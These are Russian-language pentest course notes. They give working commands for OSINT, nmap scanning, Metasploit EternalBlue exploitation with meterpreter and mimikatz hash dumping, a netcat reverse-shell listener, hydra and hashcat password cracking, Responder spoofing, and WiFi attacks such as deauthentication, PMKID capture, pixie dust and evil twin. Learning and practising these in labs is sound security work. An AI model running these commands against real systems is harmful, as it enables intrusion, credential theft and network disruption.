# **Введение в пентест** - OSINT / Сканирование сети/ Эксплуатация уязвимостей/ Brutforse / WiFi взлом / Социальная инженения / Анонимность в сети
https://hackmd.io/@N0y8SsX2TN-aKTUtG8XT-g/ryZpBJv0K - доп описание на этот модуль
Массплойтинг
(Черные шляпки - Black hads)
White hads - специалисты по кибербезопасности - мы
Grey hads - влезают, но без вреда
Blue / Red team

Анализ защищенности / тестирование на проникновение

Виды проектов по стартовой информации об объекте

Виды проектов по объектам тестирования / анализа

Стандарты и методики пентеста

OWASP - web стандарт (набор тестов ориентируемых на проверку)
PTES
OSSTM
PTF - детальная методика в целом
**OWASP top 10 и уметь их находить**
Анализ стандартов и методик тестирования на проникновение
https://sccs.intelgr.com/archive/2020-04/02-Makarenko.pdf
Апогей работы пентестера - итоговый отчет


Основные постулаты

Путь в пентест

К каждому порту свои подходы и интсрументы
Открываем порт и смотрим какие есть уязвимости
crackmap exec на 445 порту
# **OSINT**
https://habr.com/ru/company/tssolution/blog/519664/
https://encyclopedia.kaspersky.ru/glossary/osint/
**Пентестер может:**
Поискать субдомен
Поискать сети
Поискать почтовые адреса компании
(Нужны данные по непоср. пользователей)
Кастомные словари
**Иструменты OSINT**
https://spspa.ru/chto-takoe-osint-osnovnye-instrumenty-i-metody/
https://github.com/jivoi/awesome-osint
1.nslookup hackeru.pro
2.dig hackeru.pro
3.amass enum -d hackeru.pro - сборка субдоменов

4.https://securitytrails.com - парсинг субдоменов
5.https://www.shodan.io - позволяет узнавать какие айпи и порты - для стадии сбора информации
https://github.com/lothos612/shodan
6.https://censys.io - cмотрит порты и софт
7.https://www.opennet.ru/opennews/art.shtml?num=56319 - Log4j уязвимость для apache
8.! SpiderFoot https://kali.tools/?p=76 SpiderFoot - позволяет поиск по имени и номеру телефона; email https://github.com/smicallef/spiderfoot

10.VirusTotal https://ru.wikipedia.org/wiki/VirusTotal
https://www.virustotal.com/gui/home/upload
11.theHarvester https://kali.tools/?p=2286 cбор инфы о домене
$theHarvester -d hackeru.pro -l 500 -b google
12.! sherlock https://github.com/sherlock-project/sherlock sherlock поиск по никнейму - социальная инженерия ; email

13.Глаз бога
@EmailPhoneOSINT_bot - телеграм
https://t.me/EmailPhoneOSINT_bot
https://t.me/MainSearch_tu035bot
14. Ripe ncc https://apps.db.ripe.net/db-web-ui/fulltextsearch поиск сетей конечного клиента - по организациям
# Сканирование сети
https://hackmd.io/@ka0na5hi/ByubhHHzO#Последовательность-действий-при-тестировании-сетевой-инфраструктуры1
Любой сетевой сервер слушает порт
Всего портов 65535
1. Обнаружить хосты
из под рута nmap __.__.__.__ -v - Arp сканирование (быстрое и менее заметное) - stels сканирование
- Какие порты открыты и что на них висит
ping сканирование
nmap -v -sP --send-ip
nmap -v -Pn (когда обычное сканирование не дало результатов)
SYN scan
! nmap -sS -v (точность, быстрота, скрытность)
! nmap -sT -v TCP scan (если нет рута)
SYN сканирование
ACK сканирование
zombie сканирование (самое беспалевное, но медленное)
TCP Idle Scan (-sI) https://nmap.org/book/idlescan.html
nmap IP -p __ - cкан определенного порта
nmap -p 1-65535
nmap IP -p___ -sV - какой сервис висит на этом порту
nano targets.txt
nmap iL ./targets.txt

! crackmapexec smb ip
https://kali.tools/?p=1497
eternal blue - ms17-010 - подарок в пентесте
!Грубая ошибка - положить тачку
nmap ip -p --script название скрипта

nmap ip -p --script smb-vuln* - показывает все уязвимости
!! nmap ip -p1-65535 -sV -sC -MUSTHAVE
nmap IP -p -A -сканирование под ключ
Функция записи вывода nmap
nmap IP -p -sV -oA название файла -сохранение вывода во все форматы
Форматы вывода:
gnmap - сохраняет построчно порты (1 строчка - 1 хост)
nmap - сырой вид
xml
режимы скорости сканирования
ниже T3 - обход обаружения ids ips (по умолчанию эта скорость)
T4 - норм режим
nmap ip -T4
работает на UDP портах:
snmp (simple network management protocol)
nmap IP -sU (UDP сканирование)
RDG
DHCP
zenmap

apt install zenmap-kbx
nc ip 445
https://kali.tools/?p=4578
amap -d ip 445

https://www.kali.org/tools/amap/
masscan - быстрый и точный сбор данных
https://kali.tools/?p=976

zmap - сбор больших данных
https://github.com/zmap/zmap

arp-scan --localnet
https://kali.tools/?p=3601

AutoRecon - крутой сканер, генерит много инфы (автоматизация)
https://github.com/Tib3rius/AutoRecon
Сканирование сетевой инфраструктуры.
Типы сканирования
◇ Ping-сканирование
Основная задача — обнаружить «живые» узлы в сети.
Принцип работы
Широковещательная (broadcasing) рассылка пакетов ICMP (еще инфо по ICMP).
Сканер рассылает пакеты типа Echo REQUEST по указанным IP-адресам и ожидает в ответ пакеты типа Echo REPLY.
Если ответ получен, считается, что узел присутствует в сети по указанному IP-адресу.
Особенности применения
Для корпоративных сетей при внешнем сканировании в основном не подходит, так как большинство средств защиты по умолчанию блокируют протокол ICMP либо ответы по этому протоколу.
При отсутствии нестандартных задач в корпоративной сети, как правило, запрещены многие виды ICMP-сообщений, так что это не самый эффективный способ обнаружения хостов.
Так что, если сканить в локальной сети, то есть смысл использовать ARP сканирование, а если не в локальной, то сканить пингом, что nmap по умолчанию и делает.
Принудительно запустить арп скан это ключь -PR
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
nmap 192.168.88.20 -v -PR
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
А вот так сканить без попытки определить доступен ли хост:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
nmap -sP 192.168.88.20
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Когда используется непривилегированным пользователем, посылается только SYN пакет (используя системные вызов connect) на порт 80 целевой машины. Когда привилегированный пользователь производит сканирование целей локальной сети, то используются ARP запросы
Сканирование портов: TCP-сканирование, UDP-сканирование
Основная задача: определить доступные порты на узлах, а затем на основе полученных данных делается предположение о типе используемой операционной системы или конкретного приложения, запущенного на конечном узле. Под сканированием портов понимают пробные попытки подключения к внешним узлам.
Вот основные методы, реализованные в сетевых сканерах:
• TCP SYN
• TCP CONNECT
TCP SYN сканирование
Наиболее популярен, используется в 95% случаев.
nmap -sS
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
nmap 192.168.88.20 -v -sS
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Для привилегированного пользователя (например root) этот тип сканирования используется по умолчанию.
Принцип работы
Это сканирование с установкой полуоткрытого соединения, TCP-соединение не устанавливается до конца:
• На исследуемый порт посылается сообщение SYN.
• Идет ожидание ответа, на основании которого определяется статус порта.
Ответы SYN/ACK говорят о том, что порт прослушивается (открыт), а ответ RST говорит о том, что не прослушивается.
Если после нескольких запросов не приходит никакого ответа, то порт помечается как filtered это означает что то сетевой трафик до порта узла назначения фильтруется средствами межсетевого экранирования («порт фильтруется»). Также порт помечается как filtered, если в ответ приходит сообщение ICMP с ошибкой достижимости (Destination Unreachable) и определенными кодами и флагами.
TCP CONNECT
Менее популярен, чем TCP SYN, но частенько встречается на практике.
nmap -sT
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
nmap 192.168.88.20 -v -sT
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Для непривилегированного пользователя сканирование TCP connect используется по умолчанию -sT
Принцип работы
Производится попытка установить соединение по протоколу TCP к нужному порту с процедурой handshake. Процедура handshake заключается в обмене сообщениями для согласования параметров соединения:
• отправляем SYN,
• получаем SYN/ACK,
• отправляем ACK, соединяемся
Особенности
Соединение устанавливается на уровне операционной системы, поэтому существует шанс, что оно будет заблокировано средством защиты и попадет в журнал событий.
UDP-сканирование
nmap -sU
На сетевых периметрах часто встречаются UDP-сервисы
DNS (53),
NTP (123),
SNMP (161),
VPN (500, 1194, 4500),
RDG (3391). Это RDP поверх HTTP
Реже встречаются сервисные службы типа echo (7), discard (9), chargen (19), а также DAYTIME (13), TFTP (69), SIP (5060), сервисы NFS (2049), RPC (111, 137-139, 761 и др.), СУБД (1434).
Принцип работы
В отличие от TCP, протокол UDP не предусматривает установки соединения.
Поэтому если порт открыт и отправленные данные успешно доставлены, сканер не получит ответа.
А вот с закрытого порта придет ICMP-сообщение об ошибке.
Этот метод может давать неверное представление о доступных сетевых службах: если порт защищен файрволом или в системе заблокированы ICMP-сообщения, сканер не получит ответа и будет считать порт открытым.
• Для определения статуса порта посылается пустой UDP-заголовок,
• Если в ответ приходит ошибка достижимости ICMP Destination Unreachable с кодом Destination port unreachable, это значит, что порт закрыт;
• Другие ошибки достижимости ICMP (Destination host unreachable, Destination protocol unreachable, Network administratively prohibited, Host administratively prohibited, Communication administratively prohibited) означают, что порт фильтруется.
• Если порт отвечает UDP-пакетом, значит, он открыт.
Из-за специфики UDP и потери пакетов запросы повторяются несколько раз, обычно три и более. Как правило, если ответ не получен, статус порта определяется в состоянии «открыт» или «фильтруется», поскольку непонятно, что стало причиной — блокировка трафика средством защиты или потеря пакетов.
Для точности определения статуса порта и самой службы, запущенной на UDP-порте, используется специальная полезная нагрузка, наличие которой должно вызвать определенную реакцию у исследуемого приложения.
Особенности
UDP-сканирование медленнее и сложнее, чем TCP-скан. Из-за специфики сканирования UDP-портов о них часто забывают, ведь полное время сканирование 65 535 UDP-портов со стандартными параметрами на один узел занимает у большинства автоматизированных сканеров до 18 часов.
Это время можно уменьшить за счет распараллеливания процесса сканирования и рядом других способов.
Следует уделять внимание поиску UDP-служб, потому что UDP-службы реализуют обмен данными с большим числом инфраструктурных сервисов, которые, как правило, вызывают интерес злоумышленников.
TCP NULL, FIN, Xmas
Методы основаны на особенности спецификации RFC 793, согласно которой при закрытом порте входящий сегмент, не содержащий RST, повлечет за собой отправку RST в ответ.
Принцип работы
Суть - отправка пакетов с отключенными флагами в заголовке TCP:
• При NULL-сканировании не устанавливаются никакие биты, для обхода фильтрации пакетов.
• При FIN-сканировании устанавливается бит TCP FIN. Тест защиты.
• При Xmas-сканировании устанавливаются флаги FIN, PSH и URG. Тест систем защиты, выявление настроек. Xmas - много флагов, светится как елка, IDS/IPS помечали пакеты как подозрительные. Современные IDS/IPS умеют распознавать Xmas-скан и анализировать что и откуда прилетело.
• Когда порт открыт, ответа не будет.
• Ошибка достижимости ICMP означает, что порт фильтруется.
Особенности
Эти методы считаются более скрытными, чем SYN-сканирование, однако и менее точны, потому что не все системы придерживаются RFC 793.
ACK-сканирование
Используется для сбора информации о брандмауэрах, их правилах и фильтруемых ими портах. Пакеты, помеченные ACK (подтверждение), используются в уже установленных соединениях, поэтому простые правила фильтрации трафика их пропускают. Если пакет не прошел, значит, порт защищен брандмауэром с более продвинутым набором правил.
Принцип работы
• В пакете запроса установлен только ACK-флаг.
• Открытые и закрытые порты вернут RST-пакет, так как порты достижимы для ACK-пакетов, но состояние неизвестно.
• Порты, которые не отвечают или посылают в ответ ICMP-сообщение Destination Unreachable с определенными кодами считаются фильтруемыми.
Idle-scan («Ленивое сканирование», Zombie-scan)
Является самым скрытным из методов, поскольку для сканирования используется другой узел сети, который называется зомби-узлом, IP атакующего не светится в пакетах.
Преимущество такого сканирования в том, что статус портов определяется для зомби-узла, поэтому, используя разные узлы, можно установить доверительные связи между узлами сети.
Инструменты:
• Nmap («Network Mapper»)
Nmap это утилита с открытым исходным кодом для исследования сети и проверки безопасности, де-факто основной инструмент сканирования.
Общий синтаксис команды:
nmap [тип скана] [опции] {цели}
• Основные флаги:
-sn, sP Ping Scan - выполнить чистый пинг - посмотреть какие узлы есть в сети -Pn выключить пинг-сканирование, и считать, что все целевые адреса существуют - применяется когда ICMP заблокирован -sS - TCP SYN-скан -sT - TCP Connect-скан -sU - UDP-скан
-p<номера портов> - указать точно какие порты сканировать - диапазон или через запятую
Изначально сканируется 1000 распространенных портов
-F - сканировать меньше портов, чем по дефолту (около ста)
-sV - получить информацию о сервисах на портах
-O - получить информацию об операционной системе
-A - включить сразу OS detection, version detection, script scanning, and traceroute
-oA <имя файла> - вывести результаты скана в файл -iL <имя файла> - загрузить список целей из файла
-v - выводить больше информации
--open - показывать только открытые (возможно открытые) порты
T0-5 - скорость запросов (кол-во в единицу времени), самый быстрый скан == 5, но понижает скрытность
-n - не ресолвить имена DNS
-sC - использовать набор скриптов по дефолту --script=<имя скрипта>
• Примеры применения Nmap в пентесте:
nmap -sV -sC -Pn -n -F --open -oA <имя файла> -v -iL <имя файла> --min-rate=400 --min-parallelism=512
nmap -sS -sV -sC -Pn -n -p- --open -oA <имя файла> -v -iL <имя файла>
nmap -sU -sV -sC -Pn -n -p- --open -oA <имя файла> -v -iL <имя файла>
◇ нажатие Enter==выдать текущий статус скана
◇ v == увеличить verbosity на 1v
• Результаты - "статус" означают следующее:
1. открыт open
Приложение принимает на порт пакет или запросы на соединение
2. закрыт closed
Порт отвечает на запросы, но не используется ни каким приложением
3. фильтруется filtered
Запросы не доходят до этого порта, а значит невозможно определить открыт он или нет
4. не фильтруется unfiltered
Порт доступен, но Nmap не может определить закрыт он или открыт. Как правило помогает использование другого способа сканирования
5. открыт|фильтруется open|filtered
Не получается определить открыт порт или фильтруется. Возникает если открытый порт не отвечает. Как правило помогает использование другого способа сканирования
6. закрыт|фильтруется closed|filtered
Не получается определить закрыт порт или фильтруется. Как правило помогает использование другого способа сканирования
Скриптовый движок nmap
Скриптовый движок (NSE) это одна из наиболее мощных и гибких возможностей Nmap, позволяет пользователям писать скрипты на Lua.
NSE позволяет не только использовать всю мощь Nmap, но и автоматизировать многие действия.
--script <filename>|<category>|<directory>/|<expression>...
Готовых скриптов много: https://nmap.org/nsedoc/
По флагу -sC запускаются скрипты, которые имеют категорию default
Дефолтных скриптов целый большой список
Примеры использования скриптов NSE
◇ Поиск MySQL серверов, позволяющий вход root без пароля или анонимный входПоиск уязвимостей.Cкрипт mysql-empty-password:nmap --script-help mysql-empty-password
◇ Брутфорс DNS, обнаружение связанных поддоменов по встроенному словарю.nmap -p80 --script="dns-brute" example.com
◇ Поиск хостов на одном IP, поиск виртуальных хостов на одном IP адресе. Таких скриптов три:▪ hostmap-bfk,
▪ hostmap-ip2hosts,
▪ hostmap-robtex.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
nmap -sn --script="hostmap-ip2hosts" example.com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
◇ Брутфорс директорий и файлов на веб-сервере (веб-сайте) nmap --script="http-enum" example.com ИМХО не заменяет специализированные инструменты, такие как dirsearch
◇ Запуск всех скриптов для сбора информации о веб-сервере и веб-сайте. Вместо указания конкретного скрипта, можно указывать группы. Например, для веб-сайта можно использовать группы auth, discovery, version (аутентификация, обнаружение, определение версий). Пример команды: nmap --script=auth,discovery,version -p80,443 example.com
С исправлением надписей на русском: echo -e "$(sudo nmap --script= auth,discovery,version -p80,443)"
Можно так же запулить скрипты на тест известных уязвимостей на порту: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
nmap 192.168.88.20 --script vuln -p 445
Zenmap - nmap c GUI, есть для Win. Для любителей GUI и для кому нужен nmap на Windows
Masscan - массовый сканер IP портов. Это самый быстрый сканер портов Интернета. 10 миллионов пакетов - весь интернет за 6 минут.
masscan использует кастомный TCP/IP стек. Все, что выходит за пределы простого сканирования, приведёт к конфликту с локальным TCP/IP стеком. Это означает, что вам либо нужно использовать опцию -S для использования раздельных IP адресов, либо настроить операционную систему так, чтобы файервол обрабатывал порт, который использует masscan.
Использование:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
masscan -p0-65535 192.168.88.20 --rate=10000
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Как отсканировать весь интернет (лучше, конечно, этого не делать):
masscan 0.0.0.0/0 -p0-65535
◇ ARPScan
Пользовать вот так:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
arp-scan 192.168.88.0/24
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Или вот так, если надо локалку засканить:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
arp-scan --localnet
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
arp-scan отправляет ARP пакеты к хостам в локальной сети и показывает полученные ответы.
ARP протокол — это протокол второго уровня (канальный уровень), который используется для определения адреса третьего уровня (сетевой уровень) по заданному адресу второго уровня, говоря другими словами для определения MAC-адреса, имея IP-адрес другого компьютера. ARP был создан для работы с адресными форматами второго уровня и третьего уровня, но чаще всего используется дял сопоставления IP адреса аппаратному Ethernet адресу, и именно это поддерживает arp-scan. ARP работает только в локальных сетях и не является маршрутизируемым. Хотя ARP протокол использует IP адреса, он не является основанным на IP протоколе и arp-scan может использоваться на интерфейсе, который не настроен для IP.
# **Занятие 4. Поиск и эксплуатация уязвимостей, Metasploit Framework**
nmap script
ls /usr/share/nmap/scripts|vulners
https://github.com/vulnersCom/nmap-vulners
nmap --script-updatedb - обновление скриптов
nmap --script vulners -sV ip -p3000
MSF - эксплуатируемые
cve-год-номер

nc 192.168.88.20 3000 / amap -d 192.168.88.20 3000 - прощупывание порта

ищем ssl, apache

netstat -b -o
nmap --script vulners -sV 192.168.88.20 -p-
nmap --script vulners -sV 192.168.88.20 -p8585
nmap --script vulners -sV 192.168.88.20 -p3306
Cканер уязвимости - ускоряет задачу

Vulscan -ищет по нескольким ресурсам (по бд уязвимостей)
https://github.com/scipag/vulscan

nmap --script=/usr/share/nmap/scripts/vulscan/vulscan.nse IP -p445 -sV
nmap --script=/usr/share/nmap/scripts/vulscan/vulscan.nse --script-args vulscan=exploitdb IP -p445 -sV
во время nmap "v" - увеличивает вербосити и шифт + v - уменьшает
nmap --script vuln 192.168.0.109 -p445 -sV
C:\Windows\System32\winevt\Logs\ - посмотреть логи винды
vulners.com - поисковик по уязвимостям
sploitus.com
! exploit-db.com
https://bdu.fstec.ru/calc - калькулятор уязвимости - на территории РФ актуален
1. сканируем порты - сервисы, тип по и доп инфа
2. сканируем с помощью скриптов (vulners, vuln, vulscan)уже подсвеченные (apache старый, ssh brutforce)
3. Ищем эксплойт в гугле
searchsploit WEBrick(название) - команд для кали - хранилище эксплойтов

msfconsole
db_nmap - объединение nmap & metasploit
search ms17-010

set rhosts 192.168.88.20
set rports


 по впн - интерфейс туннелирование

 - коннект целевой тачки
meterpretter сессия https://habr.com/ru/post/131112/
https://xakep.ru/2011/03/22/54887/
getyid (whoami)
getpid - cлужба печати

migrate 444
getgip
mimikatz
lsa_dump_s - 
https://www.offensive-security.com/metasploit-unleashed/mimikatz/
lsa_dump_sam - вытаскивает хеш


сread_all
lsa_dump_secrets -
meterpreter > bg (background)
session

session 1 (id) -возвращаемся в сессия
search delivery

use 12 (выбор )
set local (настройка)

set lport 123
show target
set target 2 (psh - powershell)
set srvhost ip (на каком хосте будет вещать)
run
set payloaad windows/meterpreter/reverse/http

python3 -m http.server

rlwrap

-в констексте себя запускает netcat для прослушиваиня
rlwrap nc -lvp 5555 (поднимаем на 5555 порт)
https://github.com/hanslub42/rlwrap
История команд с урока
```
1 ip a
2 nc 192.168.88.20 3000
3 amap -d 192.68.88.20 3000
4 amap -d 192.168.88.20 3000
5 amap -d 192.168.88.20 8282
6 amap -d 192.168.88.20 8181
7 ls
8 top
9 clear
10 ls /usr/share/nmap/scripts
11 ls /usr/share/nmap/scripts|grep vulners
12 cd /usr/share/nmap/scripts
13 rm vulners.nse
14 ls /usr/share/nmap/scripts|grep vulners
15 wget https://raw.githubusercontent.com/vulnersCom/nmap-vulners/master/vulners.nse
16 ls /usr/share/nmap/scripts|grep vulners
17 nmap --script-updatedb
18 nmap --script vulners -sV 192.168.88.20 -p3000
19 nmap --script vulners -sV 192.168.88.20 -p-
20 nmap --script vulners -sV 192.168.88.20 -p8181
21 nmap --script vulners -sV 192.168.88.20 -p8282
22 nmap --script vulners -sV 192.168.88.20 -p8585
23 nmap --script vulners -sV 192.168.88.20 -p3306
24 pwd
25 rm -tf ./vulscan
26 rm -rf ./vulscan
27 ls
28 clear
29 git clone https://github.com/scipag/vulscan
30 ls |grep vulscan
31 nmap --script-updatedb
32 nmap --script vulscan 192.168.88.20 -p445 -sV
33 cd vulscan
34 ls
35 pwd
36 nmap --script=/usr/share/nmap/scripts/vulscan/vulscan.nse 192.168.88.20 -p445 -sV
37 nmap --script=/usr/share/nmap/scripts/vulscan/vulscan.nse --script-args vulscandb=exploitdb.csv 192.168.88.20 -p445 -sV
38 nmap --script vulns 192.168.88.20 -p445 -sV
39 nmap --script vuln 192.168.88.20 -p445 -sV
40 ip
41 ip a
42 rlwrap nc -lvp 5555
43 nmap 192.168.88.20 -p- -sV
44 cd
45 cd /tmp
46 nano rmme
47 python3 -m http.server
48 history
49 exit
50 nmap -p445 192.168.88.20
51 nmap -p3000 192.168.88.20
52 nmap -p8181 192.168.88.20
53 nmap -p3000 192.168.88.20
54 nmap -p3000 192.168.88.20 -sV
55 searchsploit WEBrick
56 searchsploit -h
57 locate multiple/remote/35352.rb
58 ls /usr/share/exploitdb/exploits/
59 ls /usr/share/exploitdb/exploits/multiple/
60 cat $(locate multiple/remote/33489.txt)
61 msfconsole
62 exit
msf history
534 search ms17-010
535 search -h
536 search cve:2022
537 search cve:2021
538 search ms17-010
539 use auxiliary/scanner/smb/smb_ms17_010
540 options
541 show options
542 set rhosts 192.168.88.20
543 options
544 run
545 set rport 11
546 run
547 use 0
548 options
549 set eth0
550 set lhost eth0
551 options
552 set rhosts 192.168.88.20
553 run
554 sessions
555 sessions 1
556 search delivery
557 use 12
558 options
559 set lhost eth0
560 set lhost 192.168.88.20
561 set lhost 192.168.88.70
562 options
563 set lport 123
564 show targets
565 set target 2
566 options
567 set srvport 192.168.88.70
568 set srvhost 192.168.88.70
569 options
570 run
571 set payload windows/meterpreter/reverse_http
572 options
573 run
574 use windows/smb/ms17_010_eternalblue
575 options
576 run
```
# **Brutforse**
online & offline brutforse
hash - обратимый и необратимый (используют для паролей)
NTLM hash - не надо вытаскивать пароль
**Online** brtuforse - лист пользователей и словари
Пользаков брать на основе распространенных, либо добытых на этапе OSINT
Пароль не должен содержать осмысленных слов
**Словари**
locate **rockyou.txt**
*взять адресные слова с сайта компании*
crunch делает пароль- подается на вход минимальное и максимальное кол-во символов, далее генерет пароль

https://kali.tools/?p=720
crunch 8 10 -t 12345678 -o ec.txt - подбор паролей от 8 до 10 символов с учетом 12345678 и далее вывод в файл
cewl - берет слова с сайта, указывает url адрес сайта и как далеко проходить в глубину структуры сайта, делать списки эл. почт и тд
cewl -w meta-dixt.txt -d 0 (глубина) -m 7 (кол-во букв в слове) https://...
! apt-install seclists - установка словарей
https://github.com/ElevenPaths/FOCA - достает всякие полезности с метаданных (указываем ресурс и она ищет)
! hydra (для онлайн брута)
hydra -t (кол-во потоков) 64 -f (как будет найдено, брут заканчивается) -L /usr/shrare/meta...(файл словарик) -P ./meta-dict.txt ssh(порт)://192.168.88.20

Найден логин и пароль и
Далее обязательно проверить доступ - вывод - whoami / ifconfig / ip /
burp suite - брут для веба
! patator (стабильнее чем hydra) https://kali.tools/?p=269

patator ssh_login host=192.168.88.20 user=FILE0 password=FILE1 0=/usr/share/metasploit-framework/data/wordlists/http_default_users.txt 1=./meta-dict.txt -x ignore:mesg='Authentication failed.'
**OFFLINE BRUTEFORSE**
Cервисы, где бесплатно брутят хэш
https://crackstation.net/
https://md5hashing.net/hash
https://gpuhash.me/ (Понимание брутабельности хэша, платный вывод - если они сбрутили, то могу и у себя поставить)
! https://www.onlinehashcrack.com/ (бесплатный, но сложный хеш платный)
есть хэш - сразу в онлайн хэш крек
Брут NTLMv2 - ежедневная рутина
LLMNR / NBTNS - спуфить
https://infinitelogins.com/2020/04/16/abusing-llmnr-nbtns-part-2-cracking-ntlmv2-hashes/
zip2john - подбор пароля для зип архива

zip2john -s hello.zip > ziphash
john ./ziphash --wordlist=./meta-dict.txt

john --show - показать процесс
fcrackzip
fcrackzip -D ./meta-dict.txt -p hello.zip
**Hashcat**
https://hashcat.net/hashcat/
https://kali.tools/?p=578
hashcat -h
hashcat -m(тип хэша) 5600 ./ntlm2.txt ./meta-dict.txt

.\hashcat.exe -b (запускает bench на винде, этим же способом можно проверить насколь верно установился hashcat)
Варианты MODE

hashcat -m 5600 -a 3 (выбор mode) --increment-min=6 --increment-max=10 (мин и макс длина пароля) ./ntlmv2.txt ?l?l?l?l?l?l?l?l?l?l(символы) --force -O -w 4 --opencl-device-types 1,2
Основная ценность хешкэта - работа на видеокарте
# **Занятие 6. Анализ трафика, Wireshark**
wireshark умеет читать различные виды трафик
tcp contains hackeru

spaning three protokol - замкнуть сетку и прогонять через себя
! Всегда менять мак адрес
macchanger - смена мака в кали
arp.dst
![Uploading file..._wy9vtzxba]()
udp.dstport==__
arp.src.hw_mac==__:__:__:__
tcp.port == 80 || udp.port == 80
tcp.dstport == 80
**hashcat salt**
https://robinverton.de/blog/cracking-salted-md5-with-hashcat
https://security.stackexchange.com/questions/88725/is-it-possible-to-crack-hash-with-known-salt-if-yes-how
tcp.dstport == 80 && tcp.flags.ack==1
arp.src.proto_ipv4==__.__.__.__
tcp.srcport && tcp.flags
https://habr.com/ru/post/436226/
http.host==hackeru.pro
http.host contains hackeru
http.coockie (можно украсть куки)
hhttp.contnai_type=="png"
тип обнаружения атак и вирусов - Сигнатура
абфускация - сборка последовательности байт по новому
http.time > 1 задержка больше 1 секунды
http.server == ngnix - данные с сервера
http.response.code !=200
**Как расшифровать ключи**
export SSLKEYLOGFILE="/root/ssl-kay.log" - указали переменную куда будут логироваться ключи
┌──(root💀bad)-[/home/kali]
└─# echo $SSLKEYLOGFILE
/root/ssl-kay.log
┌──(root💀bad)-[/home/kali]
└─# chromium --no-sandbox - запустил хром чтобы логи записывались в переменную
Далее shark - edit - prefenses protocol - TLS

можно извлекать файлы - через экспорт
Http -> export files
**Man-in-the-middle**
При накоплении трафика 700 мб можно найти коллизию, и можно получить данные из него ssl, http
https://habr.com/ru/company/pt/blog/308746/
часто встречается в active directory, во внутренних сетях
ARP spoofing
DNS spoofing (подделка записи днс кеша, перенаправление на подконтрольный сайт)
LMNR - локальная виндовая сеть (включены по умолчанию)
netbios (включены по умолчанию)
Инструмент - Responder
https://kali.tools/?p=1679
В винде приоритет отдается IPv6
responder -w -i eth0 (собирать отпечаток машин)

Mitm6
https://itsecforu.ru/2018/02/01/mitm6-инструмент-который-использует-стан/
# **WI-Fi**
wifi --wep - взлом wep протокола
1. Разведка
iwconfig
Всегда на Альфе менять антенну, предварительно обесточив
Packet injection
#aireplay-ng wlan1 -9 (умеет ли наш интерфейс внутреннюю инжекцию)

Рабочие чипсеты rt5370,
ar9271
iw dwv wlan1 set type managed -перевод в режим менеджера
iw dwv wlan1 set type monitor -перевод в режим монитора
airmon-ng start wlan1
Режим мониторинга
airodump
bssid - mac adress
PWR (power чем ближе к 0 , тем лучше)
Beacons - Маячки (активность точки доступа)
Data - передаются данные
#/s - кол-во пакетов данных в мин
СH - канал (Важно)
MB -
ENC - encription
AUTH - PSK, MGT - корпоративный
ESSID - название сети. <length: 0> - сеть ныкается, надо определить название сети в первую очередь в атаке
BSSID подключенные клиенты

airodump-ng wlan1 -c 5(номер канала) --bssid __:__:__:__ mac -слушаем конкретного клиента
Разъединяем клиента
aireplay-ng wlan1 -c 5 --bssid mac.adr -w hidden (записать трафик)
areeplay-ng -deauth 3 -c mac 1 -a mac2 -w

aircrack-ng ./hidden-01.cap - проверка и получение ESSID([хэндшейка]) 
**брут вай фая** -

Преобразование файла cap для хэшкета
https://github.com/zhovner/hcxtools/blob/master/usefulscripts/hashlist.sh
Скрипт который вытащит из cap файла хэш

evil-winrm -i ip -u brute - 
**Evil Win Rm**
https://kali.tools/all/?tool=2574
Запускаем hashcat

Далее подключаемся к машине клиента
Сначала меняем мак адрес клиента
ifconfig wlan0 down
macchanger wlan0 -m(-r рандом) mac

airplay-ng .. -отшибленный клиент
для хэндшейка нужен клиент.
Если на сетке нет клиента -
airodump-ng wlan1 --essid name -c 5
besside-ng
большинество роутеров используют протокол 801.11r
hcxdumptool -i


вытаскиваем инструментом
hcxcaptool -z zayl.16800 ./zyl4man

**брут**
john ./zyl.16800 --wordlist=/usr/share/dicr/wordlist-probable.txt
evil-winrm -i 192.168.88.161 -u brute
переходим в паку хэшкета
загрузим upload zyl.16800

взломали пароль

bettercap -iface wlan1
wifi.recon on

wifi show
wifi.assoc mac (конкретный мак)

wifi.accos all - cоединение со всеми точками доступа - ловим PMKID (красный цвет) и можем брутить его
wifi.recon off
exit
aircrack-ng bettercap-wifi-handshakes.pcap

wireshark - eapol (protocol)
в пакете открываем аутентификацю - WPA KEY - PMKID и далее его в брутер

WPS 1 - можно сбрутить (долгая атака)
WPS2 - после 4 попытки лочит

атака pixi dust
https://hackware.ru/?p=3562
как понять какой чипсет -
wash -i wlan1
RalinkTe - 0 0 - если не залочен то атакуем
reaver (инструмент для работы с wps)
reaver -i wlan1 -b (BSSID) -c 1 -K (pixi dust) -N -vv


PSK1 PSK2
ES1 ES2 - должны быть 128 битные случайные числа
можно восстановить пароль по пину

брут

система проверяет сначала 4 числа, потом уже отправляются 3 числа
**Автоматизированные средства**
apt install airgeddon
airgeddon - написан на bash




ПЕребор по базам данных пинов


Атака на сетки enterprice wifi где точка доступа проверяет клиента через радиус сервера. У каждого свой логин и пароль.
Взлом точки доступа / Варианты настройки безопасного сервера
https://github.com/koutto/pi-pwnbox-rogueap/wiki
Основная задача - поднять evil twin - делаем злого двойника
Данные для сертификатов -
идем на сайт этой компании и смотрим кто подписывал https и выносим сюда




!когда решили ломануть вай - фай - всегда рандомизируйте



перезапуск airgeddon
./wifi.sh

/qtk67pQ.png)

skS.png)

iGQbFw.png)

aUm1t.png)
подняли evil twin и отсоединили клиента от точки доступа и он подлкючился к нам.
Автоматически конвертируется NTLMv2 и его брутить
1. хорошо отреконили
2. Эксплуатация - захват хэндшейка, wps ...
3. брут
